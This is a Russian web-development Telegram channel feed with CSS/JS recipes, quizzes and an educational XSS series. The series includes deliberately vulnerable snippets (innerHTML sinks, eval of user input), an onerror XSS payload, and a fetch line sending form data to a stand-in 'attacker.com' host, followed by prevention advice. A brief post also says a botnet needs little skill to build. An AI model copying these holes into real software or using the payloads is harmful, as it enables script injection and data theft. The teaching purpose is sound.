ВАЙЛТ™
1.17K subscribers
1.4K photos
114 videos
235 files
849 links
ВАЙЛТ™ — IT-проект, разработанный помогать

Целая система, в которой есть всё необходимое для IT-специалистов, маркетологов и бизнеса

Всё о ген. директоре и проекте -> klicks.ru/my

Главный домен проекта -> вайлт.рф
Download Telegram
#РецептКода

Жиденькие анимированные переключатели стилизованные под слизь. Собрано на CSS и SVG.

WEBIK | @gki_webik_ru
4👏33👍2🔥2❤1
🤣17😁4💯3❤2👍2👏1
#Интересно

Ботнет — это компьютерная сеть, состоящая из большого количества компьютеров, на которых скрытно установлено вредоносное ПО.

Оно позволяет злоумышленникам удаленно выполнять любые действия с использованием вычислительных ресурсов зараженных машин.

Слово «ботнет» образовано от слов «robot» (робот) и «network» (сеть).

Ботнеты могут использоваться для различных целей, таких как:
• рассылка спама;
• атаки на отказ в обслуживании (DoS и DDoS);
• кража данных;
• шифрование файлов;
• вымогательство и т.д.

Для создания Ботнета не требуется колоссальных знаний. Хватит понимания общих сетевых протоколов HTTP/HTTPS, немного знаний криптография SSL, и базовые знания C#/C++ хотя бы на уровне ООП.

WEBIK | @gki_webik_ru
5👍4🔥3👏32❤1
#РецептКода

Строка поиска, которая раскрывается при нажатии на кнопку.

WEBIK | @gki_webik_ru
👏4🔥333👍2
Что будет выведено в консоль?
Anonymous Quiz
13%
1, 2, 3, 4
4%
4, 2, 1, 3
72%
1, 4, 3, 2
4%
4, 3, 2, 1
6%
Не знаю
8👍6❤53🔥2
🤣20😁6❤3👏2💯1
#РецептКода

Необычный анимированный фон на HTML, CSS и JavaScript.

WEBIK | @gki_webik_ru
6❤4👏43🔥1
#Интересно

Часть 1. О XSS

Часть 2. XSS Типы + примеры

XSS-атаки бывают:
• Сохраняемые, когда вредоносный скрипт сохраняется в БД приложения и запускается у клиента.
<textarea id="comment">
<img src="x" onerror="alert('XSS')">
</textarea>
<button onclick="saveComment()">Submit</button>
<div id="comments"></div>

let comments = []; 
function saveComment() {
let comment = document.getElementById('comment').value;
comments.push(comment);
document.getElementById('comments').innerHTML += comment + '<br>';
}

• Отраженные, когда эксплойт не хранится в базе данных и атака происходит через URL, добавляя вредоносный скрипт в тело ответа.
<form method="get" action="/"> 
<input type="text" name="q">
<input type="submit" value="Search">
</form>

const query = new URLSearchParams(window.location.search).get('q'); 
document.body.innerHTML += query;

• На основе DOM, где страница не меняется на сервере и вредоносный скрипт добавляется в JS в рантайме и никогда не покидает браузер.
<form id="xssForm"> 
<input type="text" id="userInput" placeholder="Enter text">
<button type="submit">Submit</button>
</form>
<div id="output"></div>

 document.getElementById('xssForm').addEventListener('submit', function(e) { 
e.preventDefault();
var userInput = document.getElementById('userInput').value;
document.getElementById('output').innerHTML = userInput;
});

• mXSS или XSS с мутациями, которая использует механизм очистки и санитайзинга пользовательского ввода браузерами.
<div id="content"></div>

var maliciousScript = document.createElement('div'); 
maliciousScript.innerHTML = '<img src="x" onerror="step2()">';

document.getElementById('content').appendChild(maliciousScript);

function step2() {
var script = document.createElement('script');
script.innerHTML = 'alert("XSS Attack!")';
document.body.appendChild(script);
}

• Blind XSS — подмножество сохраняемого XSS, когда эксплойт может запуститься не сразу и даже в другом приложении.
<form action="http://example.com/submit" method="POST"> 
<input type="text" name="name" placeholder="Enter your name">
<input type="submit" value="Submit">
</form>

document.forms[0].onsubmit = function() { 
fetch('http://attacker.com/log', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({data: document.forms[0].name.value})
});
};

• Self XSS — атака, при которой жертва сама запускает вредоносный скрипт через консоль браузера.
<input id="input" type="text" placeholder="Enter text"> 
<button onclick="execute()">Run</button>

function execute() { 
let input = document.getElementById('input').value;
eval(input);
}

Если хотите выпуск 3 части (предотвращение XSS атаки + примеры) ставьте 👍🏼

WEBIK | @gki_webik_ru
👍235🔥43❤1🤯1
🤣19😁5❤3👏1💯1🍾11
Каким будет результат следующего кода?
console.log(typeof NaN);
Anonymous Quiz
26%
number
7%
string
23%
undefined
26%
object
14%
null
5%
Не знаю
🔥664👏3❤1
#Макет

Кеменгер
Сайт интеллектуального развития

→ Жанр: #LandingPage
→ Сложность: #средний
→ Язык: #RU
→ Адаптив: Нет

WEBIK | @gki_webik_ru
6👍5🔥43👏1
#РецептКода

Step Indicator

Код адаптивной анимации прогресса с возможностью шага вперед и назад.
Реализовано на чистом HTML+CSS+JavaScript.

WEBIK | @gki_webik_ru
5🔥4❤2👍22✍1👏1
🤣18❤5😁4🔥3💯2
Во сколько лет ты начал заниматься программированием?
Anonymous Poll
16%
до 14
23%
15-18
17%
19-25
13%
26-30
11%
31-35
21%
36+
❤86🔥43👍2👏2💯2😢1
🤣19😁5👍2🥰2❤‍🔥1👏11
#Интересно

Часть 1. О XSS

Часть 2. XSS Типы + примеры

Часть 3. Предотвращение XSS атаки

Для предотвращения XSS (межсайтового скриптинга) атак в JavaScript, необходимо применять несколько методов и лучших практик. Вот основные шаги, которые помогут защитить ваше приложение:

1. Экранирование входных данных:
• Экранируйте все входные данные, которые могут быть вставлены в HTML, JavaScript, CSS или URL.
• Используйте функции, которые экранируют специальные символы (например, <, >, &, " и ').
function escapeHtml(unsafe) { 
return unsafe
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/"/g, "&quot;")
.replace(/'/g, "&#039;");
}

const userInput = '<script>alert("XSS")</script>';
const safeInput = escapeHtml(userInput);
document.getElementById('output').textContent = safeInput;


2. Использование безопасных методов для вставки данных в DOM:
• Избегайте использования innerHTML, outerHTML, document.write, eval и подобных методов для вставки данных в DOM.
• Используйте безопасные методы, такие как textContent, innerText, createElement, appendChild.
const userInput = '<script>alert("XSS")</script>'; 
const outputElement = document.getElementById('output');

// Использование textContent вместо innerHTML
outputElement.textContent = userInput;


3. Валидация и фильтрация входных данных:
• Всегда проверяйте и фильтруйте входные данные на стороне сервера и клиента.
• Используйте белые списки допустимых значений, чтобы ограничить ввод только разрешенными данными.
document.getElementById('userForm').addEventListener('submit', function(event) { 
const name = document.getElementById('name').value;

// Пример простой валидации
if (!/^[a-zA-Z ]+$/.test(name)) {
alert('Invalid name. Only letters and spaces are allowed.');
event.preventDefault();
}
});


4. Использование Content Security Policy (CSP):
• Настройте CSP заголовки, чтобы ограничить источники скриптов, стилей и других ресурсов.
• CSP помогает предотвратить выполнение вредоносных скриптов, даже если они были внедрены в код.
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.cdn.com;">


5. Использование библиотек и фреймворков:
• Используйте проверенные библиотеки и фреймворки, которые имеют встроенные механизмы защиты от XSS.
• Например, React, Angular и Vue автоматически экранируют данные, вставляемые в DOM.
import React from 'react'; 
import ReactDOM from 'react-dom';

const userInput = '<script>alert("XSS")</script>';

function App() {
return (
<div>
<h1>User Input</h1>
<p>{userInput}</p> {/* React автоматически экранирует данные */}
</div>
);
}

ReactDOM.render(<App />, document.getElementById('root'));

6. Обновление и патчинг:
• Регулярно обновляйте все используемые библиотеки и фреймворки до последних версий, чтобы защититься от известных уязвимостей.
# Обновление всех пакетов до последних версий
npm update
# Проверка наличия уязвимостей в пакетах
npm audit
# Автоматическое исправление уязвимостей
npm audit fix


WEBIK | @gki_webik_ru
8👍7🎉33❤1🔥1👏1
#РецептКода

Страница превратилась в призрака и улетела.

WEBIK | @gki_webik_ru
6🔥4👏44👍3❤2
🤣24👏4😁3❤1💯1